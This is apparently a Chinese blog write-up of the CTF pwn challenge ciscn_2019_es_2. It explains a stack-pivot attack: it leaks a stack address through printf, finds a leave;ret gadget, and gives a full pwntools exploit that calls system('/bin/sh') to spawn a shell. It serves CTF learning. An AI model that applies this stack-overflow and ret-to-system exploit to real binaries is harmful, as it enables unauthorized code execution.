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</head><body><div id="sidebar"><div id="menu-mask"></div><div id="sidebar-menus"><div class="author-avatar"><img class="avatar-img" src="http://p.ananas.chaoxing.com/star3/origin/e79248a96a8b9a9f4c51e2e7beaabc5c.png" onerror="onerror=null;src='/img/friend_404.gif'" alt="avatar"/></div><div class="site-data"><div class="data-item is-center"><div class="data-item-link"><a href="/archives/"><div class="headline">文章</div><div class="length-num">7</div></a></div></div><div class="data-item is-center"><div class="data-item-link"><a href="/tags/"><div class="headline">标签</div><div class="length-num">3</div></a></div></div><div class="data-item is-center"><div class="data-item-link"><a href="/categories/"><div class="headline">分类</div><div class="length-num">2</div></a></div></div></div><hr/><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> Home</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> Archives</span></a></div><div class="menus_item"><a class="site-page" href="/tags/"><i class="fa-fw fas fa-tags"></i><span> Tags</span></a></div><div class="menus_item"><a class="site-page" href="/categories/"><i class="fa-fw fas fa-folder-open"></i><span> Categories</span></a></div></div></div></div><div class="post" id="body-wrap"><header class="post-bg" id="page-header" style="background-image: url('https://i.loli.net/2021/03/21/y2xBT68QnRUC3O9.jpg')"><nav id="nav"><span id="blog_name"><a id="site-name" href="/">Icey's Blog</a></span><div id="menus"><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> Home</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> Archives</span></a></div><div class="menus_item"><a class="site-page" href="/tags/"><i class="fa-fw fas fa-tags"></i><span> Tags</span></a></div><div class="menus_item"><a class="site-page" href="/categories/"><i class="fa-fw fas fa-folder-open"></i><span> Categories</span></a></div></div><div id="toggle-menu"><a class="site-page"><i class="fas fa-bars fa-fw"></i></a></div></div></nav><div id="post-info"><h1 class="post-title">ciscn_2019_es_2</h1><div id="post-meta"><div class="meta-firstline"><span class="post-meta-date"><i class="far fa-calendar-alt fa-fw post-meta-icon"></i><span class="post-meta-label">发表于</span><time class="post-meta-date-created" datetime="2021-02-07T06:59:00.000Z" title="发表于 2021-02-07 14:59:00">2021-02-07</time><span class="post-meta-separator">|</span><i class="fas fa-history fa-fw post-meta-icon"></i><span class="post-meta-label">更新于</span><time class="post-meta-date-updated" datetime="2021-03-21T07:08:29.000Z" title="更新于 2021-03-21 15:08:29">2021-03-21</time></span><span class="post-meta-categories"><span class="post-meta-separator">|</span><i class="fas fa-inbox fa-fw post-meta-icon"></i><a class="post-meta-categories" href="/categories/CTF/">CTF</a></span></div><div class="meta-secondline"><span class="post-meta-separator">|</span><span class="post-meta-pv-cv" id="" data-flag-title="ciscn_2019_es_2"><i class="far fa-eye fa-fw post-meta-icon"></i><span class="post-meta-label">阅读量:</span><span id="busuanzi_value_page_pv"></span></span></div></div></div></header><main class="layout" id="content-inner"><div id="post"><article class="post-content" id="article-container"><p>这题涉及的知识点是栈迁移。<br>关于栈迁移，贴一篇师傅的博文：<a target="_blank" rel="noopener" href="https://bbs.pediy.com/thread-258030.htm">[原创]栈迁移原理（图示)</a>，讲的很好。</p>
<h3 id="Solution"><a href="#Solution" class="headerlink" title="Solution"></a>Solution</h3><h2 id="0x1"><a href="#0x1" class="headerlink" title="0x1"></a>0x1</h2><p>先查看防护<br><img src="https://gitee.com/see1c3y/buuctf/raw/master/pwn/ciscn_2019_es_2/checksec.png"></p>
<h2 id="0x2"><a href="#0x2" class="headerlink" title="0x2"></a>0x2</h2><p>IDA打开，进到vul函数，反汇编代码如下：</p>
<figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">vul</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> s; <span class="comment">// [esp+0h] [ebp-28h]</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">memset</span>(&amp;s, <span class="number">0</span>, <span class="number">0x20</span>u);</span><br><span class="line">  read(<span class="number">0</span>, &amp;s, <span class="number">0x30</span>u);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Hello, %s\n&quot;</span>, &amp;s);</span><br><span class="line">  read(<span class="number">0</span>, &amp;s, <span class="number">0x30</span>u);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(<span class="string">&quot;Hello, %s\n&quot;</span>, &amp;s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>可以看到read函数存在栈溢出，s距离ebp为0x28，而read只能读入0x30，可以溢出0x30-0x28=0x8个字节，也就是正好覆盖edb和ret。<br>溢出距离不足以构造常规的ROP链，需要利用栈迁移的技巧将栈劫持到我们指定的地址。<br>再审计代码，发现printf函数可以用来泄露栈上的内容，因为memset为s分配了0x20的空间，并全部以\x00进行初始化，而printf函数在打印过程中遇到\x00就会被截断，所以当第一次read的时候构造:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">payload &#x3D; &#39;a&#39;*0x20 + padding</span><br></pre></td></tr></table></figure>
<p>先把s全部填满，再补齐到ebp前的空间，那么在printf打印s的时候就可以把ebp的内容带出来。</p>
<h2 id="0x3"><a href="#0x3" class="headerlink" title="0x3"></a>0x3</h2><p>接下来进行gdb动态调试，先贴出调试的exp:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line">p = process(<span class="string">&#x27;./ciscn_2019_es_2&#x27;</span>)</span><br><span class="line"><span class="comment"># p = remote(&#x27;node3.buuoj.cn&#x27;,28462)</span></span><br><span class="line">elf = ELF(<span class="string">&#x27;./ciscn_2019_es_2&#x27;</span>)</span><br><span class="line">sys_addr = <span class="number">0x8048400</span></span><br><span class="line">leave_ret = <span class="number">0x080484b8</span></span><br><span class="line"><span class="comment">#这里的断点选的是这一段：.text:080485CD                 call    _printf</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">debug</span>(<span class="params">addr = <span class="string">&#x27;0x080485CD&#x27;</span></span>):</span> </span><br><span class="line">    raw_input(<span class="string">&#x27;debug?&#x27;</span>)</span><br><span class="line">    gdb.attach(p, <span class="string">&quot;b *&quot;</span> + addr)</span><br><span class="line">debug()</span><br><span class="line">p.recvuntil(<span class="string">&quot;your name?&quot;</span>)</span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*<span class="number">0x20</span> + <span class="string">&#x27;b&#x27;</span>*<span class="number">4</span> + <span class="string">&#x27;c&#x27;</span>*<span class="number">4</span></span><br><span class="line">p.send(payload) <span class="comment">#不可用sendline,不然会多送一个\n</span></span><br><span class="line">pause()</span><br></pre></td></tr></table></figure>
<p>进到调试终端后按c继续，查看栈帧：<br><img src="https://gitee.com/see1c3y/buuctf/raw/master/pwn/ciscn_2019_es_2/gdb1.png"><br>可以看到ebp栈上的内容为栈上的一个地址：leak_addr=0xffa3ee78，它与s的offset=0x40-0x10=0x38，所以s的地址为leak_addr-0x38。<br>我们还需要leave|ret这样的gadget，找一下：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ ROPgadget --binary ciscn_2019_es_2 --only <span class="string">&#x27;leave|ret&#x27;</span> | grep <span class="string">&#x27;leave&#x27;</span></span><br><span class="line">0x080484b8 : leave ; ret</span><br></pre></td></tr></table></figure>
<h2 id="0x4"><a href="#0x4" class="headerlink" title="0x4"></a>0x4</h2><p>所以可以构造payload如下：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">payload2 = <span class="string">&#x27;fake&#x27;</span> + p32(sys_addr) + p32(<span class="number">0xdeadbeef</span>) + p32(leak_addr-<span class="number">0x28</span>) + <span class="string">&#x27;/bin/sh&#x27;</span></span><br><span class="line">payload2 = payload2.ljust(<span class="number">0x28</span>,<span class="string">&#x27;\x00&#x27;</span>)</span><br><span class="line">payload2 += p32(leak_addr-<span class="number">0x38</span>) + p32(leave_ret)</span><br></pre></td></tr></table></figure>
<p>整个栈迁移的过程如下图所示：<br><img src="https://gitee.com/see1c3y/buuctf/raw/master/pwn/ciscn_2019_es_2/stack.png"><br>将/bin/sh放置在了距离leak为0x28的位置，system函数传参的时候将地址传进去。</p>
<h2 id="0x5"><a href="#0x5" class="headerlink" title="0x5"></a>0x5</h2><p>完整exp:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line">p = process(<span class="string">&#x27;./ciscn_2019_es_2&#x27;</span>)</span><br><span class="line"><span class="comment"># p = remote(&#x27;node3.buuoj.cn&#x27;,28462)</span></span><br><span class="line">elf = ELF(<span class="string">&#x27;./ciscn_2019_es_2&#x27;</span>)</span><br><span class="line">sys_addr = <span class="number">0x8048400</span></span><br><span class="line">leave_ret = <span class="number">0x080484b8</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">debug</span>(<span class="params">addr = <span class="string">&#x27;0x080485CD&#x27;</span></span>):</span></span><br><span class="line">    raw_input(<span class="string">&#x27;debug?&#x27;</span>)</span><br><span class="line">    gdb.attach(p, <span class="string">&quot;b *&quot;</span> + addr)</span><br><span class="line"></span><br><span class="line">debug()</span><br><span class="line">p.recvuntil(<span class="string">&quot;your name?&quot;</span>)</span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*<span class="number">0x20</span> + <span class="string">&#x27;b&#x27;</span>*<span class="number">4</span> + <span class="string">&#x27;c&#x27;</span>*<span class="number">4</span></span><br><span class="line">p.send(payload)</span><br><span class="line">p.recvuntil(<span class="string">&#x27;cccc&#x27;</span>)</span><br><span class="line">leak_addr = u32(p.recv(<span class="number">4</span>))</span><br><span class="line"></span><br><span class="line">payload2 = <span class="string">&#x27;fake&#x27;</span> + p32(sys_addr) + p32(<span class="number">0xdeadbeef</span>) + p32(leak_addr-<span class="number">0x28</span>) + <span class="string">&#x27;/bin/sh&#x27;</span></span><br><span class="line">payload2 = payload2.ljust(<span class="number">0x28</span>,<span class="string">&#x27;\x00&#x27;</span>)</span><br><span class="line">payload2 += p32(leak_addr-<span class="number">0x38</span>) + p32(leave_ret)</span><br><span class="line">p.sendline(payload2)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>
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